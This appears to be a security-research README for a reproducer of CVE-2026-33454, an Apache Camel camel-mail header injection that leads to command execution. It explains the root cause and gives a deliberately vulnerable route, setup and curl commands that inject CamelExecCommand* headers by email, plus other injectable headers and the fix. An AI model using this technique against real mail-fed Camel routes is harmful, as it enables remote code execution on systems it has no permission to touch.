
Reproducer for CVE-2026-33454: Apache Camel camel-mail header injection to RCE via camel-exec
This project demonstrates a Camel message header injection vulnerability in Apache Camel's
camel-mail component, tracked as CVE-2026-33454. An attacker who can deliver an email to a
mailbox monitored by a Camel mail consumer can inject Camel* control headers into the Exchange,
achieving remote code execution when the route forwards to a header-sensitive producer such as
camel-exec.
Advisory: https://camel.apache.org/security/CVE-2026-33454.html
| Property | Value |
|---|
| Component | camel-mail |
| Affected Class | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Root cause | The filter strategy configures only the OUT direction (setOutFilterStartsWith) and NOT the IN direction, so inbound MIME headers are not filtered |
| CWE | CWE-20: Improper Input Validation (Camel message header injection) |
| Impact | Remote Code Execution (via header-sensitive producers, e.g. camel-exec) |
| Affected Versions | From 3.0.0 before 4.14.6, and from 4.15.0 before 4.18.1 |
| Fixed Versions | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Reporter | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy extends DefaultHeaderFilterStrategy. In affected versions its constructor
configures only the out filter and never sets the in filter:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
When Camel consumes mail (e.g. from("imap://...") or from("pop3://...")),
MailBinding.extractHeadersFromMail() copies every MIME header into the Exchange In headers, gated by
headerFilterStrategy.applyFilterToExternalHeaders(...). Because the in filter was never
configured, Camel*-prefixed MIME headers pass straight through:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
An attacker who can email the monitored mailbox can therefore set arbitrary Camel* control headers.
When the route forwards to a header-sensitive producer such as camel-exec, the
CamelExecCommandExecutable / CamelExecCommandArgs headers override the command (honoured by default
in the affected versions) → arbitrary OS command execution.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
A GreenMail container provides SMTP (3025) and IMAP (3143) with a single mailbox
(login victim, password secret, address victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Starts the IMAP victim route and a helper REST controller on 8080.
curl http://localhost:8080/exploit/normal
The consumer picks it up and runs echo hello.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
This delivers an email whose MIME headers include:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
If /tmp/pwned exists, the injected MIME header overrode the exec command → RCE.
docker compose down # or: docker rm -f greenmail-cve
The injection only needs a header-sensitive producer downstream. The advisory notes camel-bean, camel-exec and camel-sql; more broadly:
CamelExecCommandExecutable / CamelExecCommandArgs → OS command executionCamelFileName → arbitrary file write / path traversalCamelBeanMethodName → invoke a different methodimap://, imaps://, pop3://, ...).removeHeaders("Camel*") between the mail consumer and that producer.The attacker only needs to be able to send an email to the monitored mailbox.
The fix (CAMEL-23222) configures the inbound filter as well:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
Until upgrading:
.removeHeaders("Camel*") right after the
from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.